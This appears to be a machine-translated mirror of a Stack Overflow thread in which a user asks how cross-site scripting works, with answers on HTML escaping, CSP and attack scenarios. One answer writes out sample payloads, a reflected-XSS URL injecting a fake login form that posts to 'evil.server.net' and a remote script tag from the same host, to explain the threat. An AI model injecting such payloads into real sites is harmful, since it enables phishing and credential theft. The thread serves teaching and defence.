XSS 背后的一般概念是啥?
Posted
技术标签:
【中文标题】XSS 背后的一般概念是啥?【英文标题】:What is the general concept behind XSS?XSS 背后的一般概念是什么? 【发布时间】:2011-01-15 00:53:04 【问题描述】:跨站脚本 (XSS) 是一种类型 计算机安全漏洞 通常出现在 Web 应用程序中 这使恶意攻击者能够 将客户端脚本注入网络 其他用户查看的页面。一个 被利用的跨站脚本 攻击者可以利用漏洞 绕过访问控制,例如 同源政策。跨站 在网站上进行的脚本是 大约 80% 的安全性 赛门铁克记录的漏洞 截至 2007 年。
好吧,这是否意味着黑客制作了一些恶意 JS/VBscript 并在访问具有未转义输入的合法网站时将其传递给毫无戒心的受害者?
我的意思是,我知道 SQL 注入是如何完成的......
我特别不明白 JS/VBscript 怎么会造成这么大的伤害!我认为它们仅在浏览器中运行,但显然损坏范围为 keylogging to cookie stealing and ***s。
我对 XSS 的理解正确吗?如果没有,有人可以澄清一下吗?
如何防止 XSS 在我的网站上发生?这似乎很重要; 80% 的安全漏洞意味着它是危害计算机的极其常见的方法。
【问题讨论】:
【参考方案1】:由于已经给出了关于 XSS 如何成为恶意的答案,我将仅回答以下未回答的问题:
如何防止 XSS 在我的网站上发生?
关于防止 XSS,您需要在页面上重新显示 任何 用户控制 输入时对它们进行 html 转义。这包括请求标头、请求参数和任何存储的用户控制的输入,这些输入将从数据库中提供。尤其是 <
、>
、"
和 '
需要转义,因为它可能会导致重新显示此输入的周围 HTML 代码变形。
几乎所有视图技术都提供了转义 HTML(或 XML,这也足够了)entities 的内置方法。
在 php 中,您可以使用 htmlspecialchars()
做到这一点。例如
<input name="foo" value="<?php echo htmlspecialchars($foo); ?>">
如果您还需要转义单引号,则需要提供 ENT_QUOTES
参数,另请参阅前面链接的 PHP 文档。
在 JSP 中,您可以使用 JSTL <c:out>
或 fn:escapeXml()
来做到这一点。例如
<input name="foo" value="<c:out value="$param.foo" />">
或
<input name="foo" value="$fn:escapeXml(param.foo)">
请注意,您实际上不需要在请求处理期间转义 XSS,而只需要在响应处理期间。不需要在请求处理期间进行转义,它可能迟早会导致用户输入错误(作为站点管理员,您还想知道什么有问题的用户已实际进入,以便您可以在必要时采取社交行动)。对于 SQL 注入,只需要在请求处理过程中数据即将被持久化到数据库中的那一刻进行转义即可。
【讨论】:
最近,另一个值得叠加的好东西是CSP,它可以用来指示支持的浏览器忽略不在白名单上的 javascript,以及其他有用的东西。 (请确保不要将内联脚本或 CSS 列入白名单)【参考方案2】:直截了当XSS
-
我发现 Google 存在 XSS 漏洞。
我编写了一个脚本来重写公共 Google 页面,使其看起来与实际的 Google 登录完全一样。
我的虚假页面提交到第三方服务器,然后重定向回真实页面。
我得到了谷歌账户密码,用户不知道发生了什么,谷歌不知道发生了什么。
XSS 作为CSRF 的平台(这应该是真的发生了)
-
Amazon 存在一个 CSRF 漏洞,其中“始终让我登录”cookie 允许您将条目标记为攻击性。
我在一个高流量网站上发现了一个 XSS 漏洞。
我编写了一个 JavaScript 来访问 URL,以将所有由同性恋作者在亚马逊上撰写的书籍标记为冒犯性。
对于亚马逊来说,他们从带有真正 auth cookie 的真正浏览器获取有效请求。所有的书一夜之间就从网站上消失了。
互联网吓坏了。
XSS 作为Session Fixation 攻击的平台
-
我发现一个电子商务网站在登录后不会重置会话(就像任何 ASP.NET 网站一样),能够通过查询字符串或 cookie 传递 会话 ID,并在会话中存储身份验证信息(很常见)。
我在该网站的某个页面上发现了 XSS 漏洞。
我编写了一个脚本,将会话 ID 设置为我控制的 ID。
有人点击了该页面,并撞到了我的会话。
他们登录。
我现在可以像他们一样做任何我想做的事情,包括购买带有保存卡的产品。
这三个是大的。 XSS、CSRF 和 Session Fixation 攻击的问题在于,它们非常非常难以追踪和修复,而且非常容易允许,尤其是在开发人员不太了解它们的情况下。
【讨论】:
这是一个非常好的答案,我已经描述了攻击向量,但我认为你比我更清楚地概述了 XSS 攻击。 我希望他们有一个专门针对计算机安全主题的 *** 类型的网站 你能解释一下第三个吗,我对此感到困惑。 @SurajJain 对于第三个,请记住会话 cookie 只是一个随机字符串,用作客户端和服务器之间的共享机密。 XSS 会话固定攻击不是窃取秘密,而是将攻击者已经知道的秘密强加给受害者。当受害者登录时,攻击者可以重新加载页面,他们将作为受害者登录,因为与作为受害者成功登录相关联的会话 ID 是攻击者已经拥有的。 @ssokolow 假设攻击者有自己的会话 ID,即使受害者也有相同的会话 ID,他不会自动知道因为网站看起来不像他自己的,他的个人资料不会'不在那里。【参考方案3】:我不明白 JS/VBscript 如何造成如此大的破坏!
好的。假设您有一个站点,并且该站点由http://trusted.server.com/thesite
提供服务。假设这个网站有一个搜索框,当你搜索时,url 变成:http://trusted.server.com/thesite?query=somesearchstring
。
如果网站决定不处理搜索字符串并将其输出到结果中,例如“您搜索“somesearchstring”没有产生任何结果,那么任何人都可以将任意 html 注入网站。例如:
http://trusted.server.com/thesite?query=<form action="http://evil.server.net">username: <input name="username"/><br/>password: <input name="pw" type="password"/><br/><input type="sumbit"/></form>
因此,在这种情况下,该网站将尽职尽责地在搜索结果页面上显示一个虚假的登录表单,如果用户提交它,它会将数据发送到邪恶的不受信任的服务器。但是用户没有看到,尤其是。如果 url 真的很长,他们只会看到第一个但是,并假设他们正在处理trusted.server.com。
对此的变体包括注入 <script>
标记,该标记将事件处理程序添加到文档以跟踪用户的操作,或将文档 cookie 发送到恶意服务器。通过这种方式,您可能会遇到敏感数据,例如登录名、密码或信用卡数据。或者您可以尝试插入一个特殊样式的<iframe>
,它占据整个客户端窗口并提供一个看起来像原始但实际上来自 evil.server.com 的站点。只要用户被欺骗使用注入的内容而不是原始内容,安全性就会受到损害。
这种类型的 XSS 称为反射型和非持久型。反射,因为 url 直接在响应中“relected”,非持久,因为实际站点没有改变 - 它只是作为一个传递。请注意,像 https 这样的东西在这里没有提供任何保护 - 站点本身已损坏,因为它通过查询字符串模仿用户输入。
现在的诀窍是让毫无戒心的用户信任您提供给他们的任何链接。例如,您可以向他们发送一封 HTML 电子邮件,并包含一个指向伪造 URL 的有吸引力的链接。或者您也可以在 wiki、论坛等上传播它。我相信您会体会到它是多么简单——它只是一个链接,可能会出什么问题,对吧?
有时情况会更糟。有些网站实际上存储用户提供的内容。简单的例子:博客上的 cmets 或论坛上的线程。或者它可能更微妙:社交网络上的用户个人资料页面。如果这些页面允许任意 html,尤其是。脚本,并且这个用户提供的 html 被存储和复制,那么每个只是访问包含这个内容的页面的人都处于危险之中。这是持久性 XSS。现在用户甚至不再需要点击链接,只需访问就足够了。同样,实际攻击包括通过脚本修改页面以捕获用户数据。
脚本注入可以很直接,例如,可以插入一个完整的<script src="http://evil.server.net/script.js">
,也可以很微妙:<img src="broken" onerror="...quite elaborate script to dynamically add a script tag..."/>
。
至于如何保护自己:关键是永远不要输出用户输入。如果您的网站围绕用户提供的带有标记的内容,这可能会很困难。
【讨论】:
【参考方案4】:想象一个网络论坛。 XSS 攻击可能是我用一些 javascript 发帖。当您浏览到页面时,您的网页将加载并运行 js 并按我说的做。当您浏览到该页面并且很可能已登录时,我的 javascript 将执行您有权执行的任何操作,例如发帖、删除您的帖子、插入垃圾邮件、显示弹出窗口等。
所以 XSS 的真正概念是脚本在 你的 用户上下文中执行,这是一种权限提升。您需要注意应用程序中接收用户输入的任何地方都会转义其中的任何脚本等,以确保无法完成 XSS。
您必须注意二次攻击。想象一下,如果我将恶意脚本放入我的用户名中。这可能会未经检查进入网站,然后在未经检查的情况下写回,但随后使用我的用户名查看的任何页面实际上都会在您的用户上下文中执行恶意脚本。
转义用户输入。不要滚动您的代码来执行此操作。检查所有输入和输出。
【讨论】:
【参考方案5】:XSS 攻击的问题更多与钓鱼有关。问题是客户信任的站点可能会被注入代码,这些代码会导致攻击者出于某种目的而创建的站点。例如,窃取敏感信息。
因此,在 XSS 攻击中,入侵者不会进入您的数据库,也不会乱用它。他在玩弄客户的感觉,即这个网站是安全的,而且网站上的每个链接都指向一个安全的位置。
这只是真正攻击的第一步——将客户带入敌对环境。
我可以给你一个简单的例子。例如,如果银行机构在他们的页面上放置了一个喊话框,并且他们没有阻止我进行 XSS 攻击,我可以喊“嘿,来这个链接,输入密码和信用卡号进行安全检查!” ...你知道这个链接会指向哪里,对吧?
您可以通过确保您不在页面上显示任何来自用户输入而不转义 html 标签的内容来防止 XSS 攻击。特殊字符应该被转义,这样它们就不会干扰您的 html 页面(或您使用的任何技术)的标记。有很多库提供此功能,包括 Microsoft AntiXSS 库。
【讨论】:
以上是关于XSS 背后的一般概念是啥?的主要内容,如果未能解决你的问题,请参考以下文章